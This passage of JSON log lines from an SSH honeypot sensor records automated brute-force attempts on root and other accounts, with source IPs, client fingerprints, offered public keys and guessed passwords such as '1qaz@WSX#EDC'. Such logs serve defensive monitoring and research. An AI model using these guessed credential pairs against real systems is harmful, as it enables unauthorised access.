-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:59.961175Z","src_ip":"103.148.100.146","session":"2ea12dea16be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf@123123","message":"login attempt [root/asdf@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:01.091125Z","src_ip":"103.148.100.146","session":"2ea12dea16be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":48958,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cc653e2f9ca","protocol":"ssh","message":"New connection: 27.50.25.190:48958 (159.203.135.109:22) [session: 3cc653e2f9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:02.326065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:02.334806Z","src_ip":"27.50.25.190","session":"3cc653e2f9ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:02.378019Z","src_ip":"103.148.100.146","session":"2ea12dea16be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:02.582363Z","src_ip":"27.50.25.190","session":"3cc653e2f9ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX#EDC","message":"login attempt [root/1qaz@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:03.528442Z","src_ip":"27.50.25.190","session":"3cc653e2f9ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:04.761561Z","src_ip":"27.50.25.190","session":"3cc653e2f9ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":35208,"dst_ip":"159.203.135.109","dst_port":22,"session":"6479c7c199a0","protocol":"ssh","message":"New connection: 69.6.221.248:35208 (159.203.135.109:22) [session: 6479c7c199a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.318927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.328587Z","src_ip":"69.6.221.248","session":"6479c7c199a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.442874Z","src_ip":"69.6.221.248","session":"6479c7c199a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.227.40","src_port":35182,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ae83ef81ef2","protocol":"ssh","message":"New connection: 158.69.227.40:35182 (10.17.0.5:22) [session: 2ae83ef81ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.772559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.778174Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.800229Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:ed:bf:34:f9:c7:01:ba:1b:68:e8:f3:7b:be:a4:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmzYh1xtplReXWC+r0TLKxlngcqzmvRpZwfpAThU4IOMiCMfcymzlJt8QHPXpCxQScpfVyNhHMw1IAoVtDLBf8CqwGnymfSgTh8shx5j8bMayjscvOpbOERYjqPc1ciWH5GeIZnX2C2TbY3fTxImnOld1C+L3ga36w9MuJnrHeYF4KQvL3o8hQbrYIbSwpf2Og3N33X+/Q6vhJV3A+cn6x5GHT59zU6FS6+8Kz5sj2e5iE7Oi/6GySfZmksWZIHMpoDJYwGUXMcCQ4JlseOTJCEcNmTTAnfaU06Lmcu99EulwE7IqJuTrnmSfsccAKch1Wz7MQu3ad6ek7lO6m8oqevWBfYWub+VbEUDWxbQy+IT2fN8rdVBVdt8PX7a1+y3KXCtrcVXAnkYVW4rrNtAehZ84a2BwsoWzn+ZNkwSn80E0aEhfHvIH65wIPiUYZxbHc2C5co5YtW4oC38OqYUHW8b41nWtl+UQn9PAi4Lp+aylxUQK55EC0IT5CldR7wEM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:ed:bf:34:f9:c7:01:ba:1b:68:e8:f3:7b:be:a4:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.874197Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:ed:bf:34:f9:c7:01:ba:1b:68:e8:f3:7b:be:a4:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmzYh1xtplReXWC+r0TLKxlngcqzmvRpZwfpAThU4IOMiCMfcymzlJt8QHPXpCxQScpfVyNhHMw1IAoVtDLBf8CqwGnymfSgTh8shx5j8bMayjscvOpbOERYjqPc1ciWH5GeIZnX2C2TbY3fTxImnOld1C+L3ga36w9MuJnrHeYF4KQvL3o8hQbrYIbSwpf2Og3N33X+/Q6vhJV3A+cn6x5GHT59zU6FS6+8Kz5sj2e5iE7Oi/6GySfZmksWZIHMpoDJYwGUXMcCQ4JlseOTJCEcNmTTAnfaU06Lmcu99EulwE7IqJuTrnmSfsccAKch1Wz7MQu3ad6ek7lO6m8oqevWBfYWub+VbEUDWxbQy+IT2fN8rdVBVdt8PX7a1+y3KXCtrcVXAnkYVW4rrNtAehZ84a2BwsoWzn+ZNkwSn80E0aEhfHvIH65wIPiUYZxbHc2C5co5YtW4oC38OqYUHW8b41nWtl+UQn9PAi4Lp+aylxUQK55EC0IT5CldR7wEM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.878286Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:7b:35:9e:e7:f2:eb:43:98:ce:b2:5a:16:8c:e7:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC36lk2wtog8WJbKFC8br7NSaqoEIL7dIcYlCDtjVRNn3Dr1mxTr6WDxFqF+ykzBxnxq8Z051TpdBXjHKk7PPa1F0S9lGUs8qz2aVsx+JEAu1wvVuLgKzs+ONE0Pu+l7NHHSNgITtMzcu/QuQT1BUt3PwXtI/pPiF+gtNwSIMApJPFo+QATHy3AVK2j23nkCS5XsyAY6xf/PFmvfntTPLPux3XgXZogg07OCecEShRuyXMg/RCVcqfO0HQGGrTocyEn66+cp2VBn7Vze6gK9QUuVywLA47+xi64QoGFfPAR+2wv2Nco8pcC4H5JahY2GSKfu/G36WufWskjOqO+cqmj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:7b:35:9e:e7:f2:eb:43:98:ce:b2:5a:16:8c:e7:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.900806Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:7b:35:9e:e7:f2:eb:43:98:ce:b2:5a:16:8c:e7:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC36lk2wtog8WJbKFC8br7NSaqoEIL7dIcYlCDtjVRNn3Dr1mxTr6WDxFqF+ykzBxnxq8Z051TpdBXjHKk7PPa1F0S9lGUs8qz2aVsx+JEAu1wvVuLgKzs+ONE0Pu+l7NHHSNgITtMzcu/QuQT1BUt3PwXtI/pPiF+gtNwSIMApJPFo+QATHy3AVK2j23nkCS5XsyAY6xf/PFmvfntTPLPux3XgXZogg07OCecEShRuyXMg/RCVcqfO0HQGGrTocyEn66+cp2VBn7Vze6gK9QUuVywLA47+xi64QoGFfPAR+2wv2Nco8pcC4H5JahY2GSKfu/G36WufWskjOqO+cqmj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.908873Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1234","message":"login attempt [developer/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.927966Z","src_ip":"69.6.221.248","session":"6479c7c199a0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:42:6e:69:44:32:ad:52:d7:de:4b:69:3f:26:da:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV7zKryVcYWS5vp/pgofTxlY9h/miNH+AV59P51Rx6M3jj11jHJCF+nnjZVOUuEZ4pl6xwzZIpkDbpZXum+gC9G9CHMWgG8BP3oSzXiJ0JP1O19+GIl04BKnsTgm/tj21fE5T9xEdZZpf91O8C+NoFFDeJqmCxZejqHNX5xgUG2FlTdNHFre3wykXYK/XFoekLGP2uJDP7mucm//mfZsokl+xdUiqPLfV5Kzh7HdwNRRmRVWBP8NmvtAelSnE/zIkG4n1w5JvhsekNXMsjS9zQbF5hE2nRyL239GLZhKyyUKOX3Ypi8u+jCCrMYsZX11quvQjqKEs9vWiqhz5QnVELPwH16VbtVopKussxrHig5iUq4yXj5QGmZcXiFGN8SJIFmlOay2jEZJgY+Sdomv2yalhnBPASB2wQMj5bzKtv5N/uz9ngjQ+KkN5yBzUI7bf5mIjeW8QyvxNxawwEMOYm+MeHhhK5k4mB30c2hHmh66c8TWNwmB165rtJQCyCrvs9YiWUZaXj+PGfehKCPH6aEKEDQtoIV49bJxChVsTuO5geuR86G//MPoeGtdpwru8qt6hzkfIAbT+u6N70UUtBw75SDjjm4nrwj3CGd65Q/WPRU+XhdCF/16hV7m9/3ee2dWQjrVODs62krgFeSxissQ7QhYa6eaqcBpbuv8EqFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:42:6e:69:44:32:ad:52:d7:de:4b:69:3f:26:da:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.933616Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:42:6e:69:44:32:ad:52:d7:de:4b:69:3f:26:da:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV7zKryVcYWS5vp/pgofTxlY9h/miNH+AV59P51Rx6M3jj11jHJCF+nnjZVOUuEZ4pl6xwzZIpkDbpZXum+gC9G9CHMWgG8BP3oSzXiJ0JP1O19+GIl04BKnsTgm/tj21fE5T9xEdZZpf91O8C+NoFFDeJqmCxZejqHNX5xgUG2FlTdNHFre3wykXYK/XFoekLGP2uJDP7mucm//mfZsokl+xdUiqPLfV5Kzh7HdwNRRmRVWBP8NmvtAelSnE/zIkG4n1w5JvhsekNXMsjS9zQbF5hE2nRyL239GLZhKyyUKOX3Ypi8u+jCCrMYsZX11quvQjqKEs9vWiqhz5QnVELPwH16VbtVopKussxrHig5iUq4yXj5QGmZcXiFGN8SJIFmlOay2jEZJgY+Sdomv2yalhnBPASB2wQMj5bzKtv5N/uz9ngjQ+KkN5yBzUI7bf5mIjeW8QyvxNxawwEMOYm+MeHhhK5k4mB30c2hHmh66c8TWNwmB165rtJQCyCrvs9YiWUZaXj+PGfehKCPH6aEKEDQtoIV49bJxChVsTuO5geuR86G//MPoeGtdpwru8qt6hzkfIAbT+u6N70UUtBw75SDjjm4nrwj3CGd65Q/WPRU+XhdCF/16hV7m9/3ee2dWQjrVODs62krgFeSxissQ7QhYa6eaqcBpbuv8EqFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.937399Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:06:e4:87:bf:6c:86:f6:55:ca:8c:49:43:a3:c2:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCNpTFxF+/OV1OKzYnnbWSa2/M9ZL2eEXQbc/IzjVaqF0bc9JlUDt5a0OtDQ1wpY/V0RvT6I4pL+RqDW+VMk39JLqPwEQVAVParwAziVsd2/azxQdlXjz2yjQgyrpjPtwxAGP8QYx4l++fDqQ2V5SJ2uESD/vNryYof/k+3ddeB1gH/ZEbqKUZJrlE+DAZ35viFV/8ofzVu2DNi1HatjWxD+75BeleFYoijRP8XGSr1G6J+7VgyIspbp00ZTSXuelhSI1OtjUKYJjrNdMhLnNQ8qQaGUAqV81Jqg0gvb2ZA+rDyXqeP7K7gAyn093aEfQc91o1KKF/C6gnlx8Qm1Mdf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:06:e4:87:bf:6c:86:f6:55:ca:8c:49:43:a3:c2:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.959791Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:06:e4:87:bf:6c:86:f6:55:ca:8c:49:43:a3:c2:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCNpTFxF+/OV1OKzYnnbWSa2/M9ZL2eEXQbc/IzjVaqF0bc9JlUDt5a0OtDQ1wpY/V0RvT6I4pL+RqDW+VMk39JLqPwEQVAVParwAziVsd2/azxQdlXjz2yjQgyrpjPtwxAGP8QYx4l++fDqQ2V5SJ2uESD/vNryYof/k+3ddeB1gH/ZEbqKUZJrlE+DAZ35viFV/8ofzVu2DNi1HatjWxD+75BeleFYoijRP8XGSr1G6J+7VgyIspbp00ZTSXuelhSI1OtjUKYJjrNdMhLnNQ8qQaGUAqV81Jqg0gvb2ZA+rDyXqeP7K7gAyn093aEfQc91o1KKF/C6gnlx8Qm1Mdf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.963583Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:80:fe:31:9c:0c:77:83:75:8e:90:a6:0b:44:73:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl0l2OBhWOc7702xkNR7MiApV2l8tLvvO8ROr1zqskwjMaebD/ip6KVr6zv6miY8/v4FfCh7sYYiW6CQXj+Qo+dsLkGLEyKCQOQduFMT7CmA/SsgphArb2y6Tf2yjASdYe1/MrhRb3gGI6iER0paBHvFueGgHp023NkdBnxHQDuR9JkpTAajDynndToNK7p+PJOL4/lULZxtfpwXenVlPwQh/3xnQX546p/aH3a7c9eqgrRqfGWgGVhhGZ/gzMgT4Z9fVBAgTv8MTViwsuPTBxN8ulwh1yZW5fWEWtunKKpRHlj9FGgtkDleXxBtw/Utjpr7CSvvZMhzYvuNaA/vdl2yr7FiaNuj9PGcWc2CwxA25q/sJjFRfnOyxl1Z86NhxmxVwVQEKBO7ahRR5LjkucQ+nt3sxEp/vPp6ZdOIxn66OQDov9RdD/vQ26iPcJ7KG0p1d8s+j4h1ID6TMLTfEgaGzEUM1pA6TBB3PSr6w5c+l/dNtcgYeocbmmtrgfry2fJdQtlG4ywtQEkeokrnMqLvq6FNrtPHooLKC+NIn+3cGuAHmamuronbeS2ZlgKoU1Vf14E9iZdvLPYPQlzaXihvuSzde4tqIITo4GtvT8yIpelTxR/TF9fAukhCKlTsdnc6ULH1+hwa/bk/W7Sh/FdT02529TKnH4sBy8I+6TIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:80:fe:31:9c:0c:77:83:75:8e:90:a6:0b:44:73:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.983724Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:80:fe:31:9c:0c:77:83:75:8e:90:a6:0b:44:73:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl0l2OBhWOc7702xkNR7MiApV2l8tLvvO8ROr1zqskwjMaebD/ip6KVr6zv6miY8/v4FfCh7sYYiW6CQXj+Qo+dsLkGLEyKCQOQduFMT7CmA/SsgphArb2y6Tf2yjASdYe1/MrhRb3gGI6iER0paBHvFueGgHp023NkdBnxHQDuR9JkpTAajDynndToNK7p+PJOL4/lULZxtfpwXenVlPwQh/3xnQX546p/aH3a7c9eqgrRqfGWgGVhhGZ/gzMgT4Z9fVBAgTv8MTViwsuPTBxN8ulwh1yZW5fWEWtunKKpRHlj9FGgtkDleXxBtw/Utjpr7CSvvZMhzYvuNaA/vdl2yr7FiaNuj9PGcWc2CwxA25q/sJjFRfnOyxl1Z86NhxmxVwVQEKBO7ahRR5LjkucQ+nt3sxEp/vPp6ZdOIxn66OQDov9RdD/vQ26iPcJ7KG0p1d8s+j4h1ID6TMLTfEgaGzEUM1pA6TBB3PSr6w5c+l/dNtcgYeocbmmtrgfry2fJdQtlG4ywtQEkeokrnMqLvq6FNrtPHooLKC+NIn+3cGuAHmamuronbeS2ZlgKoU1Vf14E9iZdvLPYPQlzaXihvuSzde4tqIITo4GtvT8yIpelTxR/TF9fAukhCKlTsdnc6ULH1+hwa/bk/W7Sh/FdT02529TKnH4sBy8I+6TIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:11.988069Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:12.009790Z","src_ip":"158.69.227.40","session":"2ae83ef81ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":56236,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9be1e6ee472","protocol":"ssh","message":"New connection: 4.194.4.255:56236 (159.203.135.109:22) [session: a9be1e6ee472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:12.286202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:12.292051Z","src_ip":"4.194.4.255","session":"a9be1e6ee472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:12.530102Z","src_ip":"4.194.4.255","session":"a9be1e6ee472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:55:13.046734Z","src_ip":"69.6.221.248","session":"6479c7c199a0","protocol":"ssh"}
